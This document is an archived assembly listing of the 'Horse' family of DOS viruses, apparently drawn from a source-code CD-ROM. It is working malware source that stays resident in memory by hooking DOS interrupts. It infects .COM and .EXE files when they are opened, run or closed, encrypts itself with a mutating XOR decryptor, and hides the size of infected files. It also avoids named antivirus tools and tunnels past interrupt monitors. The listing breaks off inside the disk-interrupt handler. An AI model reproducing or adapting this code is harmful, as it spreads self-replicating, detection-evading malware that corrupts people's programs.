home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HORSE8.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  21KB  |  1,366 lines

  1.  
  2.         .radix  16
  3.  
  4.     sub    bl,bl
  5.     mov    cx,offset msg-calldos-2
  6.     mov    si,offset calldos
  7.     cld
  8. lpp:
  9.     lodsb
  10.     xor    bl,al
  11.     loop    lpp
  12.     mov    byte ptr [checksum],bl
  13.  
  14.     mov    bp,offset adjust
  15.     call    install1
  16.     mov    dx,offset Hellomsg
  17.     mov    ah,9
  18.     int    21
  19.     int    20
  20.  
  21. Hellomsg db    0a,0dh,'OK friend...',0a,0dh,'$'
  22.  
  23.     Virus_lenght    equ    endcode-adjust
  24.     alllen        equ    buffer-adjust
  25.  
  26.     adjust    label word
  27.  
  28.     new_addr    dd    0
  29. last:
  30.     my_count    dw    0
  31.  
  32.     checksum    db    0
  33.  
  34. ;*******************************************************************
  35. ;                                                                  *
  36. ;                  This is the program entry....                   *
  37. ;                                                                  *
  38. ;*******************************************************************
  39.  
  40. Start_Virus:
  41.  
  42. First_instr label word
  43.  
  44. old    label    dword    ;
  45.  
  46.     cli
  47.     push    ax
  48.  
  49.         call    nextline
  50.  
  51. nextline:
  52.  
  53. popreg    label byte
  54.  
  55.  
  56.     db    01011000b ;pop reg
  57.  
  58. pushreg label byte
  59.  
  60.     db    01010000b ;push reg
  61. f_g:
  62.  
  63.     db    10000001b ;add reg,value
  64.  
  65. addtoreg  label byte
  66.  
  67.     db    11000000b ;reg
  68.  
  69.     dw    offset codedstart-nextline ;value
  70.  
  71. loadcount label byte
  72.  
  73.     db    10111000b ;mov  reg,value
  74.     dw    offset endcode-Start_Virus    ;value
  75.  
  76. where:
  77.  
  78. decode:
  79.  
  80.     db    002e    ;xor byte ptr cs:[reg+0],value
  81.     db    10000000b
  82.  
  83. xorreg   label byte
  84.  
  85.     db    70
  86.  
  87.     db    00
  88.  
  89. xorvalue label byte
  90.  
  91.     db    00
  92.  
  93. incmain  label byte
  94.  
  95.     db    01000000b ;inc reg
  96.  
  97. deccount label byte
  98.  
  99.     db    01001000b ;dec reg
  100.  
  101.     jnz    decode
  102.  
  103. codedstart:
  104.  
  105.     pop    bp
  106.  
  107.     jmp    codedstart1
  108.  
  109. ;**************************************************
  110. ;       call    next                              *
  111. ;next:                                            *
  112. ;       pop     *reg*                             *
  113. ;       push    *reg*                             *
  114. ;       add     *reg*,codestart-nextline          *
  115. ;       mov     *countreg*,endcode-codedstart     *
  116. ;decode:                                          *
  117. ;       xor     byte ptr cs:[*reg*+0],xorvalue    *
  118. ;       inc     *reg*                             *
  119. ;       dec     *countreg*                        *
  120. ;       jnz     decode                            *
  121. ;                                                 *
  122. ; *reg*=index register,*countreg*=register        *
  123. ;**************************************************
  124.  
  125. calldos:
  126.  
  127.     pushf
  128.     call    dword ptr cs:[old-adjust]
  129.         ret
  130.  
  131.  
  132. give_him:
  133.  
  134.     push    bp
  135.     mov    bp,sp
  136.     push    ax
  137.     push    si        ;you can't use this function illegally...
  138.     push    ds
  139.     lds    si,[bp+2]
  140.     lodsw
  141.     sub    ax,0C008
  142.     jz    me
  143.     cli
  144.     hlt
  145. me:
  146.     pop    ds
  147.     pop    si
  148.     pop    ax
  149.     pop    bp
  150.  
  151.     cmp    byte ptr cs:[last-adjust],0FF ;Already got?
  152.     je    gotten
  153.     cmp    byte ptr cs:[f_g-adjust],0FF
  154.     jne    gotten
  155. all_ok:
  156.     mov    es,word ptr cs:[where-adjust]
  157.     mov    byte ptr cs:[last-adjust],0FF
  158.     iret
  159.  
  160. go_out2:
  161.     jmp    out
  162.  
  163. gotten:
  164.     xchg    ah,al
  165.     iret
  166.  
  167. FF_old1:
  168.     call    calldos
  169.     jmp    FF_old
  170.  
  171. FF_new1:
  172.     call    calldos
  173.     jmp    FF_new
  174.  
  175.  
  176. res:
  177.     cmp    ax,0FA01h
  178.     je    give_him
  179.  
  180.     cmp    ah,11
  181.     je    FF_old1
  182.     cmp    ah,12
  183.     je    FF_old1
  184.     cmp    ah,4e
  185.     je    FF_new1
  186.     cmp    ah,4f
  187.     je    FF_new1
  188.     cmp    ax,4b00
  189.     jne    go_out2
  190.     cmp    byte ptr cs:[f_g-adjust],0FF
  191.     je    go_out2
  192.     push    ax
  193.         push    bx
  194.     push    cx
  195.     push    dx
  196.     push    si
  197.     push    di
  198.     push    ds
  199.     push    es
  200.  
  201.     push    ds
  202.         mov     ah,62
  203.         call    calldos
  204.         mov     ds,bx
  205.         cmp     bx,[16]
  206.     pop    ds
  207.         jne     notthis
  208.  
  209.     call    get
  210.     mov    bx,word ptr cs:[last-adjust]
  211.     mov    ds,bx
  212.     cmp    [0001],bx
  213.     jb    notthis
  214.     inc    bx
  215.     push    word ptr [0001]
  216.     mov    es,bx
  217.     mov    bx,[0003]
  218.     add    bx,130
  219.     mov    ah,4ah
  220.     call    calldos
  221.     pop    word ptr [0001]
  222.     jnc    allok
  223. notthis:
  224.     jmp    notnow
  225. allok:
  226.     mov    byte ptr cs:[f_g-adjust],0FF
  227.     lds    si,cs:[new_addr-adjust]
  228.     add    si,offset calldos-adjust
  229.     sub    bl,bl
  230.     mov    cx,offset msg-calldos-2
  231.     cld
  232. check:
  233.     lodsb
  234.     xor    bl,al
  235.     loop    check
  236.     cmp    bl,byte ptr cs:[checksum-adjust]
  237.     jne    notnow
  238.     mov    ax,0FA01
  239.     int    21
  240.     or    al,al
  241.     sub    di,di
  242.     lds    si,cs:[new_addr-adjust]
  243.     mov    cx,Virus_lenght
  244.         push    cx
  245.         push    si
  246.         push    ds
  247.     rep    movsb
  248.     mov    bx,es
  249.         pop     es
  250.         pop     di
  251.         pop     cx
  252.         sub     al,al
  253.         rep     stosb
  254.     push    cs
  255.     mov    ax,offset notnow2-adjust
  256.     push    ax
  257.     push    bx
  258.     mov    ax,offset Set_Vectors-adjust
  259.     push    ax
  260.     retf
  261.  
  262. notnow2:
  263.     pop    es
  264.     pop    ds
  265.     pop    di
  266.     pop    si
  267.     pop    dx
  268.     pop    cx
  269.         pop     bx
  270.     pop    ax
  271.     int    21
  272.     db    0ca,2,0 ;retf 2
  273.  
  274. notnow:
  275.     pop    es
  276.     pop    ds
  277.     pop    di
  278.     pop    si
  279.     pop    dx
  280.     pop    cx
  281.         pop     bx
  282.     pop    ax
  283.  
  284. out:
  285.     jmp    dword ptr cs:[old-adjust]
  286.  
  287. get:
  288.     push    bx
  289.     push    ds
  290.     push    es
  291.  
  292.         mov     ah,52h
  293.     call    calldos
  294.         mov     bx,es:[bx-02]
  295. search:
  296.         mov     ds,bx
  297.     inc    bx
  298.         add     bx,[0003]
  299.     mov    es,bx
  300.         cmp     byte ptr es:[0000],'Z'
  301.     jne    search
  302.  
  303.     mov    word ptr cs:[last-adjust],ds
  304.     mov    word ptr cs:[where-adjust],bx
  305.  
  306.     pop    es
  307.     pop    ds
  308.     pop    bx
  309.     ret
  310.  
  311. FF_old:
  312.     push    ax
  313.     push    bx
  314.     push    dx
  315.     push    es
  316.  
  317.     or    al,al
  318.     jnz    Go_Out_ ;if error
  319.  
  320.     mov    ah,2f                ;get DTA address
  321.     call    calldos
  322.  
  323.     cmp    byte ptr es:[bx],0ff
  324.     jne    standart
  325.     add    bx,7
  326.  
  327. standart:
  328.     mov    al,byte ptr es:[bx+30d-7] ;Seconds in al
  329.     and    al,31d            ;Mask seconds
  330.     cmp    al,60d/2            ;Seconds=60?
  331.     jne    Go_Out_
  332.     and    byte ptr es:[bx+30d-7],11100000b
  333.     mov    ax,es:[bx+36d-7]
  334.     mov    dx,es:[bx+38d-7]        ;Check File size
  335.     sub    ax,Virus_lenght
  336.     sbb    dx,0
  337.     jb    Go_Out_
  338.  
  339.  
  340. Adjust_Size:
  341.  
  342.     mov    es:[bx+28d+1],ax
  343.     mov    es:[bx+28d+2+1],dx
  344.  
  345. Go_Out_:
  346.  
  347.     pop    es            ;Return to caller
  348.     pop    dx
  349.     pop    bx
  350.     pop    ax
  351.     iret
  352.  
  353. FF_new:
  354.     pushf
  355.     push    ax
  356.     push    bx
  357.     push    dx            ;fuck again
  358.     push    es
  359.     jc    Go_Out_1
  360.  
  361.     mov    ah,2f
  362.     call    calldos
  363.  
  364.     mov    al,es:[bx+22d]
  365.     and    al,31d
  366.     cmp    al,60d/2
  367.     jne    Go_Out_1
  368.         and     byte ptr es:[bx+22d],11100000b
  369.     mov    ax,es:[bx+26d]
  370.     mov    dx,es:[bx+28d]
  371.     sub    ax,Virus_lenght
  372.     sbb    dx,0
  373.     jb    Go_Out_1
  374.  
  375. Adjust_Size1:
  376.  
  377.     mov    es:[bx+26d],ax
  378.     mov    es:[bx+28d],dx
  379.  
  380. Go_Out_1:
  381.  
  382.     pop    es
  383.     pop    dx
  384.     pop    bx
  385.     pop    ax            ; Dummy proc far
  386.     popf                ; ret   2
  387.     db    0ca,2,0 ;retf 2         ; Dummy endp =>  BUT too long...
  388.  
  389. endinst label word
  390.  
  391. codedstart1:
  392.  
  393.     sti
  394.     pop    ax
  395.  
  396. install:
  397.  
  398.     sub    bp,offset nextline-adjust
  399.  
  400. install1:
  401.  
  402.     cld                    ;Clear direction flag
  403.     push    ax                ;Save some registres
  404.     push    es
  405.     push    ds
  406.  
  407.     mov    ax,0FA01
  408.     int    21
  409.     or    al,al
  410.     jz    do_dob
  411.     jmp    install_ok
  412. do_dob:
  413.     push    es
  414.     pop    ds
  415.     mov    ax,[0002]
  416.     mov    cx,1000
  417.     sub    ax,cx
  418.     mov    es,ax
  419.     sub    di,di
  420.     call    SearchZero
  421.     jc    Dont_copy
  422.     mov    si,bp
  423.     mov    cx,alllen
  424.     db    2e
  425.     rep    movsb
  426.  
  427. Dont_copy:
  428.  
  429.     sub    ax,ax
  430.     mov    ds,ax
  431.     mov    ax,[21*4]
  432.     mov    word ptr cs:[bp+old-adjust],ax
  433.     mov    ax,[21*4+2]
  434.     mov    word ptr cs:[bp+old-adjust+2],ax
  435.     mov    ah,52
  436.     int    21
  437.     push    es
  438.     mov    es,es:[bx+14]
  439.     push    es:[2]
  440.     sub    di,di
  441.     mov    si,bp
  442.     mov    cx,endinst-adjust
  443.     db    2e
  444.     rep    movsb
  445.     pop    ax
  446.     pop    ds
  447.     mov    [bx+14],ax
  448.     mov    ds,cx
  449.     mov    [21*4],offset res-adjust
  450.     mov    [21*4+2],es
  451.     jcxz    Run_The_Program
  452.  
  453. install_ok:
  454.  
  455.     cmp    ax,01FAh
  456.     je    Run_The_Program
  457.     mov    word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
  458.     mov    si,bp
  459.     sub    di,di
  460.     mov    cx,alllen
  461.     db    2e
  462.     rep    movsb
  463.     push    cs
  464.     mov    ax,Run_The_Program-adjust
  465.     add    ax,bp
  466.     push    ax
  467.     push    es
  468.     mov    ax,offset Set_Vectors-adjust    ;Set vectors
  469.     push    ax
  470.     retf
  471.  
  472. SearchZero:
  473.  
  474.     sub    ax,ax
  475. Again:
  476.     inc    di
  477.     push    cx
  478.     push    di
  479.     mov    cx,alllen
  480.     repe    scasb
  481.     pop    di
  482.     jz    FoundPlace
  483.     pop    cx
  484.     loop    Again
  485.     stc
  486.     ret
  487.  
  488. FoundPlace:
  489.  
  490.     pop    cx
  491.     mov    word ptr cs:[bp+new_addr-adjust],di
  492.     mov    word ptr cs:[bp+new_addr-adjust+2],es
  493.     clc
  494.     ret
  495.  
  496. Run_The_Program:
  497.  
  498.     add    bp,offset First_18-adjust
  499.     pop    ds                ;Restore saved ds,es,ax
  500.     pop    es                ;ds=es=PSP
  501.     pop    ax
  502.     mov    ax,'ZM'
  503.     cmp    cs:[bp],ax    ;Run the infected program
  504.     je    run_exe
  505.     xchg    ah,al
  506.     cmp    cs:[bp],ax
  507.     je    run_exe
  508.     jne    Run_COM_File
  509. run_exe:
  510.     mov    cx,ds                ;Calculate load segment
  511.     add    cx,0010
  512.     mov    bx,cx
  513.     add    cx,cs:[bp+16]    ;Calculate CS value
  514.     add    bx,cs:[bp+0e]    ;Calculate SS value
  515.     mov    ss,bx                ;Run .EXE program
  516.     mov    sp,word ptr cs:[bp+10]
  517.     push    cx
  518.     push    word ptr cs:[bp+14]
  519.     retf
  520.  
  521. Run_COM_File:
  522.  
  523.     mov    di,0100
  524.     push    di
  525.     mov    si,bp
  526.     movsb                    ;Restore the first 3 bytes
  527.     movsw                    ;Run .COM program
  528.     ret
  529.  
  530.     db    'î¡«ú« ▒¼Ñ!'
  531.  
  532. INT_21h_Entry_Point:
  533.  
  534.     cmp    ah,3ch            ;Create (3.X)
  535.     je    create
  536.     cmp    ah,5bh
  537.     je    create
  538.  
  539.     cmp    ah,6ch
  540.     jne    not_create        ;Create (4.X)
  541.     test    bl,1
  542.     jz    not_create
  543.     jnz    create
  544.  
  545. not_create:
  546.  
  547.     call    pusha
  548.  
  549.     mov    byte ptr cs:[function-adjust],ah
  550.  
  551.     cmp    ah,6ch        ;Open (4.X)
  552.     je    create_
  553.  
  554.     cmp    ah,3dh
  555.     je    Function_4Bh
  556.  
  557.     cmp    ah,3e        ;Close
  558.     je    close_
  559.  
  560.     cmp    ax,4b00 ;Exec
  561.     je    Function_4Bh
  562.  
  563. Return_Control:
  564.  
  565.     call    popa
  566.  
  567. Go_out:
  568.     jmp    dword ptr cs:[current_21h-adjust]    ;go to the old int 21
  569.  
  570. create_:
  571.  
  572.     or    bl,bl        ;Create file?
  573.     jnz    Return_Control
  574.     mov    dx,si
  575.  
  576. Function_4Bh:
  577.  
  578.     mov    ax,3d00h
  579.     call    Infect_It
  580.     jmp    Return_Control
  581.  
  582. create:
  583.         cmp     word ptr cs:[handle-adjust],0ffff
  584.         jne     Go_out
  585.     call    Call_Original_INT_21h
  586.     mov    word ptr cs:[handle-adjust],ax
  587.     jnc    Error
  588.     mov    word ptr cs:[handle-adjust],0ffff
  589. Error:
  590. ;       retf    2
  591.     db 0ca,2,0
  592.  
  593. close_:
  594.     cmp    word ptr cs:[handle-adjust],0ffff
  595.     je    Return_Control
  596.     cmp    bx,word ptr cs:[handle-adjust]
  597.     jne    Return_Control
  598.     mov    ah,45
  599.     call    Infect_It
  600.     mov    word ptr cs:[handle-adjust],0ffff
  601.     jmp    Return_Control
  602.  
  603.     ;******************************************
  604.     ;                                         *
  605.     ;       This infects the programs...      *
  606.     ;                                         *
  607.     ;******************************************
  608.  
  609. Infect_It:
  610.  
  611.     call    Call_Original_INT_21h        ;this is the infecting part
  612.     jnc    No_error
  613.     ret
  614.  
  615. No_error:
  616.  
  617.     xchg    ax,bp
  618.  
  619.     mov    ax,0200
  620.     push    ax
  621.     popf
  622.  
  623.     mov    byte ptr cs:[flag-adjust],0
  624.  
  625.     mov    ah,54
  626.     call    Call_Original_INT_21h
  627.     mov    byte ptr cs:[veri-adjust],al
  628.     cmp    al,1                ;Switch off verify...
  629.     jne    Go_On_Setting
  630.     mov    ax,2e00
  631.     call    Call_Original_INT_21h
  632.  
  633. Go_On_Setting:
  634.  
  635.  
  636.     mov    ax,3513
  637.     call    Call_Original_INT_21h
  638.     push    bx
  639.     push    es
  640.  
  641.     mov    word ptr cs:[current_13h-adjust],bx
  642.     mov    word ptr cs:[current_13h-adjust+2],es
  643.  
  644.     mov    ah,25
  645.     mov    dx,INT_13h_entry-adjust ;Set int 13h
  646.     push    cs
  647.     pop    ds
  648.     call    Call_Original_INT_21h
  649.  
  650.     mov    ax,3524
  651.     call    Call_Original_INT_21h
  652.     push    bx
  653.     push    es
  654.  
  655.     mov    ah,25
  656.     mov    dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
  657.     call    Call_Original_INT_21h
  658.  
  659.     push    cs
  660.     push    cs
  661.     pop    ds
  662.     pop    es
  663.     mov    dx,offset DOS_13h-adjust
  664.     mov    bx,dx            ;Set New DOS int 13h
  665.     mov    ah,13
  666.     call    Call_Original_INT_2Fh
  667.  
  668.     push    bx
  669.     push    es
  670.     push    dx
  671.     push    ds
  672.  
  673.     push    cs
  674.     pop    ds
  675.  
  676.     xchg    bx,bp
  677.     push    bx
  678.     mov    ax,1220
  679.     call    Call_Original_INT_2Fh
  680.     mov    bl,es:[di]        ;Remember the good old V512 ?
  681.     mov    ax,1216
  682.     call    Call_Original_INT_2Fh
  683.     pop    bx
  684.     add    di,11
  685.  
  686.     mov    byte ptr es:[di-15d],2
  687.     mov    ax,es:[di]
  688.     mov    dx,es:[di+2]
  689.     cmp    ax,3000d
  690.     sbb    dx,0
  691.     jb    Not_good
  692. Go_on:
  693.     cmp    byte ptr cs:[function-adjust],3dh
  694.     je    Scan_name
  695.     cmp    byte ptr cs:[function-adjust],6ch
  696.     jne    Dont_Scan_Name
  697.  
  698. Scan_name:
  699.  
  700.     push    di
  701.     add    di,0f
  702.     mov    si,offset fname-adjust    ;wasn't that the last opened file?
  703.     cld
  704.     mov    cx,8+3
  705.     rep    cmpsb
  706.     pop    di
  707.     je    Not_good
  708.  
  709. Dont_Scan_Name:
  710.  
  711.     cmp    es:[di+18],'MO'
  712.     jne    Check_For_EXE            ;check for .COM file
  713.     cmp    byte ptr es:[di+17],'C'
  714.     jne    Check_For_EXE
  715.     jmp    com
  716.  
  717. Check_For_EXE:
  718.  
  719.     cmp    es:[di+18],'EX'
  720.     jne    Not_good            ;check for .EXE file
  721.     cmp    byte ptr es:[di+17],'E'
  722.     je    Check_For_Valid_EXE
  723.  
  724. Not_good:
  725.  
  726.     jmp    close
  727.  
  728. Check_For_Valid_EXE:
  729.  
  730.     call    Read_First_18
  731.     cmp    word ptr [si],'ZM'
  732.     je    Valid_EXE            ;check for valid .EXE file
  733.     cmp    word ptr [si],'MZ'
  734.     jne    Not_good
  735.  
  736.  Valid_EXE:
  737.  
  738.     cmp    byte ptr es:[di+0f],'M' ;MAPMEM
  739.     je    Not_good
  740.     cmp    es:[di+0f],'RT'     ;TRAPFILE
  741.     je    Not_good
  742.     cmp    es:[di+0f],'CS' ;SCAN.EXE
  743.     jne    go_on_a
  744.     cmp    es:[di+11],'NA'
  745.     je    Not_good
  746. go_on_a:
  747.     cmp    es:[di+0f],'NA' ;ANTI****.*EXE
  748.     jne    go_on_b
  749.     cmp    es:[di+11],'IT'
  750.     je    Not_good
  751. go_on_b:
  752.     cmp    es:[di+0f],'LC' ;CLEANNEW.EXE
  753.     jne    low_mem?
  754.     cmp    es:[di+11],'AE'
  755.     je    Not_good
  756.  
  757. Low_mem?:
  758.     cmp    word ptr [si+0c],0ffff    ;only low-mem .EXE
  759.     jne    Not_good
  760.  
  761. Low_Mem:
  762.  
  763.     mov    cx,[si+16]
  764.     add    cx,[si+8]            ;Something common with EDDIE..
  765.     mov    ax,10
  766.     mul    cx
  767.     add    ax,[si+14]
  768.     adc    dx,0
  769.     mov    cx,es:[di]
  770.     sub    cx,ax
  771.     xchg    ax,cx
  772.     mov    cx,es:[di+2]
  773.     sbb    cx,dx
  774.     or    cx,cx
  775.     jnz    Not_Infected_EXE            ;infected?
  776.     cmp    ax,(endcode-Start_Virus)
  777.     jbe    Not_good
  778.  
  779. Not_Infected_EXE:
  780.  
  781.     mov    ax,es:[di]
  782.     mov    dx,es:[di+2]
  783.  
  784.     add    ax,Virus_lenght
  785.     adc    dx,0
  786.     mov    cx,200                    ;(C) by Lubo & Jan...
  787.     div    cx
  788.     mov    [si+2],dx
  789.     or    dx,dx
  790.     jz    OK_MOD
  791.     inc    ax
  792.  
  793. OK_MOD:
  794.     mov    [si+4],ax
  795.     mov    ax,es:[di]
  796.     mov    dx,es:[di+2]
  797.  
  798.     mov    cx,10
  799.     div    cx
  800.  
  801.     sub    ax,[si+8]
  802.     add    dx,Start_Virus-adjust
  803.     adc    ax,0
  804.     mov    [si+14],dx
  805.     mov    [si+16],ax
  806.     add    ax,(Virus_lenght)/16d+1
  807.     mov    [si+0eh],ax
  808.     mov    [si+10],100
  809.  write:
  810.     mov    ax,5700
  811.     call    Call_Original_INT_21h
  812.     push    cx
  813.     push    dx
  814.  
  815.     sub    cx,cx
  816.     mov    es:[di+4],cx
  817.     mov    es:[di+6],cx
  818.     mov    cl,20
  819.     xchg    cl,byte ptr es:[di-0dh]
  820.     push    cx
  821.     mov    ah,40    ;this writes the first few bytes and glues the virus
  822.     mov    dx,buffer-adjust
  823.     mov    cx,18
  824.  
  825.     call    Call_Original_INT_21h
  826.  
  827.     call    make_mutation
  828.  
  829.     push    es
  830.     push    di
  831.     push    cs
  832.     pop    es
  833.     mov    di,si
  834.     sub    si,si
  835.     mov    cx,Virus_lenght
  836.     push    di
  837.     rep    movsb
  838.     pop    di
  839.     add    di,offset codedstart-adjust
  840.     mov    al,byte ptr [xorvalue-adjust]
  841.     mov    cx,offset endcode-codedstart
  842.  
  843. codeit:
  844.     xor    byte ptr [di],al
  845.     inc    di
  846.     loop    codeit
  847.  
  848.     pop    di
  849.     pop    es
  850.  
  851.     inc    word ptr [my_count-adjust]
  852.  
  853.     mov    ax,es:[di]
  854.     mov    es:[di+4],ax
  855.     mov    ax,es:[di+2]
  856.     mov    es:[di+6],ax
  857.     call    Check_For_COMMAND    ;(C)
  858.     jne    Dont_Adjust_Size
  859.     sub    es:[di+4],Virus_lenght
  860.  
  861. Dont_Adjust_Size:
  862.  
  863.     mov    ah,40
  864.     mov    dx,offset buffer-adjust
  865.     mov    cx,Virus_lenght
  866.     call    Call_Original_INT_21h
  867.  
  868.     pop    cx
  869.     mov    byte ptr es:[di-0dh],cl
  870.     pop    dx
  871.     pop    cx
  872.  
  873.     cmp    byte ptr cs:[flag-adjust],0ff
  874.     je    Set_Time_and_Date
  875. exit:
  876.     call    Check_For_COMMAND
  877.     je    Set_Time_and_Date
  878.     and    cl,11100000b
  879.     or    cl,60d/2
  880.  
  881. Set_Time_and_Date:
  882.  
  883.     mov    ax,5701
  884.     call    Call_Original_INT_21h
  885. close:
  886.  
  887.     mov    ah,3e
  888.     call    Call_Original_INT_21h
  889.     mov    si,di
  890.     add    si,0f
  891.     mov    di,fname-adjust
  892.     push    es
  893.     pop    ds
  894.     push    cs
  895.     pop    es
  896.     mov    cx,8+3        ;save the fname to a quit place
  897.     rep    movsb
  898.     push    cs
  899.     pop    ds
  900.  
  901.     cmp    byte ptr cs:[flag-adjust],0ff
  902.     jne    Dont_Clear_Buffers
  903.     mov    ah,0dh            ;if error occured-clear disk buffers
  904.  
  905.     call    Call_Original_INT_21h
  906.  
  907. Dont_Clear_Buffers:
  908.  
  909.     cmp    byte ptr cs:[veri-adjust],1
  910.     jne    Restore_Vectors
  911.     mov    ax,2e01
  912.  
  913.     call    Call_Original_INT_21h
  914.  
  915. Restore_Vectors:
  916.  
  917.  
  918.     pop    ds
  919.     pop    dx
  920.     pop    es
  921.     pop    bx
  922.  
  923.     mov    ah,13
  924.     call    Call_Original_INT_2Fh
  925.  
  926.     sub    ax,ax
  927.     mov    ds,ax
  928.     pop    [24*4+2]
  929.     pop    [24*4]
  930.     pop    [13*4+2]
  931.     pop    [13*4]        ;restore vectors and return
  932.     ret
  933.  
  934.  com:
  935.     test    byte ptr es:[di-0dh],4    ;if it is a system file
  936.     jnz    Not_OK_COM_File ;I had some problems here with
  937.                                         ;V1160 & V1776 (with the ball)
  938.     cmp    es:[di],65535d-Virus_lenght*2-100
  939.     ja    Not_OK_COM_File
  940.  
  941.     cmp    es:[di+0f],'RT' ;TRAPFILE
  942.     je    Not_OK_COM_File
  943.     cmp    byte ptr es:[di+0f],'M' ;MV.COM
  944.     je    Not_OK_COM_File
  945.  
  946.     call    Read_First_18
  947.     mov    ax,[si+10]    ;CHECK IF THAT'S A TRAP FILE
  948.     cmp    ax,[si+12]
  949.     je    Not_OK_COM_File
  950.     cmp    byte ptr [si],0E9
  951.     jne    OK_COM_file
  952.     mov    ax,es:[di]
  953.         sub     ax,[si+1]               ;infected?
  954.     cmp    ax,(endcode-Start_Virus+3)
  955.     jbe    Not_OK_COM_File
  956.  
  957. OK_COM_file:
  958.  
  959.     mov    ax,es:[di]
  960.     add    ax,Start_Virus-adjust-3
  961.     call    Check_For_COMMAND
  962.     jne    Normally
  963.     sub    ax,Virus_lenght
  964.  
  965. Normally:
  966.  
  967.     mov    byte ptr [si],0E9
  968.     mov    word ptr [si+1],ax
  969.     jmp    write
  970.  
  971. Not_OK_COM_File:
  972.  
  973.     jmp    close
  974.  
  975. Set_Vectors:
  976.  
  977.     sub    ax,ax
  978.     mov    ds,ax
  979.  
  980.     push    [1*4]
  981.     push    [1*4+2] ; <= (C) by N.Hacker.
  982.  
  983.     pushf
  984.     pushf
  985.     pushf
  986.     pushf
  987.  
  988.     mov    byte ptr cs:[flag-adjust],ah
  989.     mov    byte ptr cs:[my_flag-adjust],ah
  990.     mov    word ptr cs:[limit-adjust],300
  991.     mov    word ptr cs:[mem_-adjust],org_21h-adjust
  992.  
  993.     mov    [1*4],offset trap-adjust
  994.     mov    [1*4+2],cs
  995.  
  996.     call    set_trace
  997.  
  998.     mov    ax,3521
  999.  
  1000.     call    dword ptr [21h*4]
  1001.  
  1002.     mov    word ptr cs:[current_21h-adjust],bx    ;get old int 21
  1003.     mov    word ptr cs:[current_21h-adjust+2],es
  1004.  
  1005.     mov    byte ptr cs:[flag-adjust],0
  1006.     mov    word ptr cs:[mem_-adjust],org_2fh-adjust
  1007.  
  1008.     call    set_trace
  1009.  
  1010.     mov    ax,1200
  1011.  
  1012.     call    dword ptr [2fh*4]        ;do trace int 2f
  1013.  
  1014.  
  1015.     mov    byte ptr cs:[flag-adjust],0
  1016.     mov    byte ptr cs:[my_flag-adjust],0FF
  1017.     mov    word ptr cs:[limit-adjust],0C800
  1018.     mov    word ptr cs:[mem_-adjust],org_13h-adjust
  1019.  
  1020.     call    set_trace
  1021.  
  1022.     sub    ah,ah
  1023.  
  1024.     call    dword ptr [13h*4]    ;do trace int 13
  1025.  
  1026.     mov    byte ptr cs:[flag-adjust],0
  1027.     mov    word ptr cs:[limit-adjust],0F000
  1028.     mov    word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
  1029.  
  1030.     call    set_trace
  1031.  
  1032.     sub    ah,ah
  1033.  
  1034.     call    dword ptr [13h*4]
  1035.  
  1036.     pop    [1*4+2]
  1037.     pop    [1*4]
  1038.  
  1039.     mov    [21*4],offset INT_21h_Entry_Point-adjust        ;set it
  1040.     mov    [21*4+2],cs
  1041.  
  1042.     retf
  1043.  
  1044. set_trace:
  1045.  
  1046.     pushf
  1047.     pop    ax
  1048.     or    ax,100
  1049.     push    ax
  1050.     popf
  1051.     ret
  1052.  
  1053. trap:
  1054.     push    bp
  1055.     mov    bp,sp
  1056.     push    bx
  1057.     push    di
  1058.     cmp    byte ptr cs:[flag-adjust],0ff
  1059.     je    off
  1060.     mov    di,word ptr cs:[mem_-adjust]
  1061.     mov    bx,word ptr cs:[limit-adjust]
  1062.     cmp    [bp+4],bx
  1063.     pushf
  1064.     cmp    byte ptr cs:[my_flag-adjust],0ff
  1065.     jne    It_Is_JA
  1066.  
  1067.     popf
  1068.     jb    Go_out_of_trap
  1069.     jmp    It_Is_JB
  1070.  
  1071. It_Is_JA:
  1072.  
  1073.     popf
  1074.     ja    Go_out_of_trap
  1075.  
  1076. It_Is_JB:
  1077.  
  1078.     mov    bx,[bp+2]
  1079.     mov    word ptr cs:[di],bx
  1080.     mov    bx,[bp+4]
  1081.     mov    word ptr cs:[di+2],bx
  1082.     mov    byte ptr cs:[flag-adjust],0ff
  1083. off:
  1084.     and    [bp+6],0feff
  1085.  
  1086. Go_out_of_trap:
  1087.  
  1088.     pop    di
  1089.     pop    bx
  1090.     pop    bp
  1091.     iret
  1092.  
  1093.  
  1094. Call_Original_INT_21h:
  1095.  
  1096.     pushf
  1097.     call    dword ptr cs:[org_21h-adjust]
  1098.     ret
  1099.  
  1100.  
  1101.  
  1102. Call_Original_INT_2Fh:
  1103.  
  1104.     pushf
  1105.     call    dword ptr cs:[org_2fh-adjust]
  1106.     ret
  1107.  
  1108. INT_24h_entry:
  1109.  
  1110.     mov    al,3
  1111.     iret
  1112.  
  1113. ;**************************
  1114. ;    (C) by N.Hacker.     *
  1115. ;      (bellow)           *
  1116. ;**************************
  1117.  
  1118. INT_13h_entry:
  1119.  
  1120.     mov    byte ptr cs:[next_flag-adjust],0
  1121.  
  1122.     cmp    ah,2
  1123.     jne    Other
  1124.  
  1125.     cmp    byte ptr cs:[function-adjust],03Eh
  1126.     jne    Dont_hide
  1127.  
  1128.     dec    byte ptr cs:[next_flag-adjust]
  1129.     inc    ah
  1130.     jnz    Dont_hide
  1131.  
  1132. Other:
  1133.  
  1134.     cmp    ah,3
  1135.     jne    Dont_hide
  1136.  
  1137.     cmp    byte ptr cs:[flag-adjust],0ff
  1138.     je    no_error_
  1139.  
  1140.     cmp    byte ptr cs:[function-adjust],03Eh
  1141.     je    Dont_hide
  1142.  
  1143.     inc    byte ptr cs:[next_flag-adjust]
  1144.     dec    ah
  1145.  
  1146. Dont_hide:
  1147.  
  1148.     pushf
  1149.     call    dword ptr cs:[current_13h-adjust]
  1150.     jnc    no_error_
  1151.     mov    byte ptr cs:[flag-adjust],0ff
  1152.  
  1153. no_error_:
  1154.  
  1155.     clc
  1156.     db    0ca,02,0        ;retf 2
  1157.  
  1158.  
  1159. DOS_13h:
  1160.  
  1161.     cmp    byte ptr cs:[next_flag-adjust],0
  1162.     je    OK
  1163.  
  1164.     cmp    ah,2
  1165.     je    Next
  1166.     cmp    ah,3
  1167.     jne    OK
  1168. Next:
  1169.     cmp    byte ptr cs:[next_flag-adjust],1
  1170.     jne    Read
  1171.     inc    ah
  1172.     jne    OK
  1173. Read:
  1174.  
  1175.     dec    ah
  1176. OK:
  1177.     test    dl,80
  1178.     jz    Floppy
